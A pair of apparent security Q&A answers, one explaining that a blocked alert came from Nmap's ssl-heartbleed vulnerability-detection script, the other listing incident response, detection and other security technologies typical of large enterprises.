NMAP contains a scripting engine that allows custom scripts, such as those that are used to detect vulnerabilities.

In your case, someone used the ssl-heartbleed script to see if an http server was vulnerable on port 443, and it was blocked.


Enterprise security incident response and detection

From your title it appears you are asking what security incident response and detection technologies are unique to large enterprise environments?

Unique technology:

A central Security Information and Event Management (SIEM) system - large organizations need to be able to centrally gather logs and alerts from a large number of disparate systems (e.g. firewalls, AV, platforms, databases, applications) for correlation and monitoring. A smaller organization may get away with configuring email alerts or reviewing logs
A central incident tracking and workflow system - something like Remedy or better to log security incidents, manage ownership, allocate tasks and track to completion. A smaller organization may use email or a spreadsheet for this

People and process:

A 24 x 7 Security Operations Center (SOC) consisting of shift workers or follow the sun geographic pool of people
Formal security incident rehearsals both on paper and full on red team / blue team exercises

Just about everything also needs more powerful models, clusters, horizontal growth capability to cope with the scale and redundancy and geographic distribution needs that smaller organizations will not have.

Unique security technology outside of incident response and detection that you see more in larger organizations due both to scale, complexity and regulatory and audit requirements (probably not a complete list):

Data loss prevention
Email encryption
Removable media control
Identity and access management
Configuration compliance and file integrity monitoring e.g. Tripwire
Single sign-on
Web access management (e.g. Siteminder)
Federated identity
automated security source code analysis and application vulnerability scanning
hardware security modules
internal Certificate Authority (CA)
backup encryption / decryption appliance
DDOS filtering service
Dedicated IPS (i.e. not in a UTM)